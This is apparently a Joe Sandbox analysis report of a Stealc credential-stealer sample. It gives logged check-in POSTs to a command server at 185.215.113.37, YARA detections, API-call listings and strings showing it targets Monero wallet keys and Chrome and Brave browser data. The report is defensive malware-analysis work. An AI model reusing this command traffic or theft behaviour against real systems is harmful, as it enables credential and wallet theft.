Oct 1, 2024 06:03:16.845488071 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKJKJDGCGDBGDHIJKJE Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4a 4b 4a 44 47 43 47 44 42 47 44 48 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 62 33 30 36 30 31 31 65 32 63 34 30 36 34 65 66 65 61 66 61 31 62 32 66 35 35 65 30 63 30 63 38 65 36 61 32 39 33 32 30 64 37 65 31 31 65 34 32 63 39 31 34 31 37 64 63 32 61 37 31 38 30 33 34 38 63 37 39 61 33 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4a 4b 4a 44 47 43 47 44 42 47 44 48 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4a 4b 4a 44 47 43 47 44 42 47 44 48 49 4a 4b 4a 45 2d 2d 0d 0a Data Ascii: ------AAKJKJDGCGDBGDHIJKJEContent-Disposition: form-data; name="token"12b306011e2c4064efeafa1b2f55e0c0c8e6a29320d7e11e42c91417dc2a7180348c79a3------AAKJKJDGCGDBGDHIJKJEContent-Disposition: form-data; name="message"ybncbhylepme------AAKJKJDGCGDBGDHIJKJE--
Oct 1, 2024 06:03:17.073957920 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 04:03:16 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2338 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6f 66 66 69 63 65 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 [TRUNCATED] Data Ascii: .pl<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.office.com.microsoft.com.microsoft.com.microsoft.comsupport.microsoft.com.microsoft.com.c1.microsoft.comsupport.microsoft.com.c.bing.com.c1.microsoft.com.bing.com.microsoft.comsupport.microsoft.com.c.bing.com.c.bing.com.c1.microsoft.comlogin.microsoftonline.comsupport.microsoft.com.microsoft.comlogin.microsoftonline.com.google.com<br>.ar<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.office.com.microsoft.com.microsoft.com.microsoft.comsupport.microsoft.com.microsoft.com.c1.microsoft.comsupport.microsoft.com.c.bing.com.c1.microsoft.com.bing.com.microsoft.comsupport.microsoft.com.c.bing.com.c.bing.com.c1.microsoft.comlogin.microsoftonline.comsupport.microsoft.com.microsoft.comlogin.microsoftonline.com.google.com<br>*.br<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.offi
Oct 1, 2024 06:03:17.183063984 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHDAFBFCFHIDAKFIIEBA Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 62 33 30 36 30 31 31 65 32 63 34 30 36 34 65 66 65 61 66 61 31 62 32 66 35 35 65 30 63 30 63 38 65 36 61 32 39 33 32 30 64 37 65 31 31 65 34 32 63 39 31 34 31 37 64 63 32 61 37 31 38 30 33 34 38 63 37 39 61 33 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 2d 2d 0d 0a Data Ascii: ------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="token"12b306011e2c4064efeafa1b2f55e0c0c8e6a29320d7e11e42c91417dc2a7180348c79a3------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DHDAFBFCFHIDAKFIIEBA--
Oct 1, 2024 06:03:17.894898891 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 04:03:17 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=78 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	00:02:56
Start date:	01/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xec0000
File size:	1'841'152 bytes
MD5 hash:	DD529F774EA232F4DA3934F9EA885AE1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1861403334.0000000000AD7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1681670041.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1861403334.0000000000A7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	24.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	28

Executed Functions

Function 00ED9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00A92428), ref: 00ED98A1
GetProcAddress.KERNEL32(74DD0000,00A924E8), ref: 00ED98BA
GetProcAddress.KERNEL32(74DD0000,00A92320), ref: 00ED98D2
GetProcAddress.KERNEL32(74DD0000,00A92440), ref: 00ED98EA
GetProcAddress.KERNEL32(74DD0000,00A92380), ref: 00ED9903
GetProcAddress.KERNEL32(74DD0000,00A98F48), ref: 00ED991B
GetProcAddress.KERNEL32(74DD0000,00A857D0), ref: 00ED9933
GetProcAddress.KERNEL32(74DD0000,00A85A30), ref: 00ED994C
GetProcAddress.KERNEL32(74DD0000,00A923B0), ref: 00ED9964
GetProcAddress.KERNEL32(74DD0000,00A92458), ref: 00ED997C
GetProcAddress.KERNEL32(74DD0000,00A92470), ref: 00ED9995
GetProcAddress.KERNEL32(74DD0000,00A924A0), ref: 00ED99AD
GetProcAddress.KERNEL32(74DD0000,00A858D0), ref: 00ED99C5
GetProcAddress.KERNEL32(74DD0000,00A924B8), ref: 00ED99DE
GetProcAddress.KERNEL32(74DD0000,00A924D0), ref: 00ED99F6
GetProcAddress.KERNEL32(74DD0000,00A85730), ref: 00ED9A0E
GetProcAddress.KERNEL32(74DD0000,00A92500), ref: 00ED9A27
GetProcAddress.KERNEL32(74DD0000,00A92248), ref: 00ED9A3F
GetProcAddress.KERNEL32(74DD0000,00A85750), ref: 00ED9A57
GetProcAddress.KERNEL32(74DD0000,00A92260), ref: 00ED9A70
GetProcAddress.KERNEL32(74DD0000,00A85A90), ref: 00ED9A88
LoadLibraryA.KERNEL32(00A925C0,?,00ED6A00), ref: 00ED9A9A
LoadLibraryA.KERNEL32(00A925A8,?,00ED6A00), ref: 00ED9AAB
LoadLibraryA.KERNEL32(00A925D8,?,00ED6A00), ref: 00ED9ABD
LoadLibraryA.KERNEL32(00A92560,?,00ED6A00), ref: 00ED9ACF
LoadLibraryA.KERNEL32(00A92590,?,00ED6A00), ref: 00ED9AE0
GetProcAddress.KERNEL32(75A70000,00A92518), ref: 00ED9B02
GetProcAddress.KERNEL32(75290000,00A92548), ref: 00ED9B23
GetProcAddress.KERNEL32(75290000,00A92530), ref: 00ED9B3B
GetProcAddress.KERNEL32(75BD0000,00A92578), ref: 00ED9B5D
GetProcAddress.KERNEL32(75450000,00A85930), ref: 00ED9B7E
GetProcAddress.KERNEL32(76E90000,00A98F18), ref: 00ED9B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00ED9BB6

Strings

NtQueryInformationProcess, xrefs: 00ED9BAA

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: e9aea032318d51e8a9bb9ce7a65c72c00bdcbf122234073f5274044162eaf47a
Instruction ID: 368aaca265a629e11adce1e31b7d42841a0857fdb81c88242388e58c555208db
Opcode Fuzzy Hash: e9aea032318d51e8a9bb9ce7a65c72c00bdcbf122234073f5274044162eaf47a
Instruction Fuzzy Hash: CAA11BB5D107409FD36EEFA8F99895637F9FF8C302704853AA6268324CD6BA95C1CB50

Function 00EC45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00EC460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00EC479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00EC45D2

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 81b1acd290b5c127bd51c0287c1082350a19e53741ff17b0c982d342caebebc6
Instruction ID: cfd4a68089f396ef27ab1dae82dbc7eddcf637c826750be7d913d871c2902095
Opcode Fuzzy Hash: 81b1acd290b5c127bd51c0287c1082350a19e53741ff17b0c982d342caebebc6
Instruction Fuzzy Hash: A84116616C278C6AE634F7E5AC42F9D77565F4670CF50B844A830B22C3CBF277A84526

Function 00ECBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

FindFirstFileA.KERNEL32(00000000,?,00EE0B32,00EE0B2B,00000000,?,?,?,00EE13F4,00EE0B2A), ref: 00ECBEF5
StrCmpCA.SHLWAPI(?,00EE13F8), ref: 00ECBF4D
StrCmpCA.SHLWAPI(?,00EE13FC), ref: 00ECBF63
FindNextFileA.KERNEL32(000000FF,?), ref: 00ECC7BF
FindClose.KERNEL32(000000FF), ref: 00ECC7D1

Strings

Preferences, xrefs: 00ECC11E
Google Chrome, xrefs: 00ECC634
Brave, xrefs: 00ECC102
\Brave\Preferences, xrefs: 00ECC1DB

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
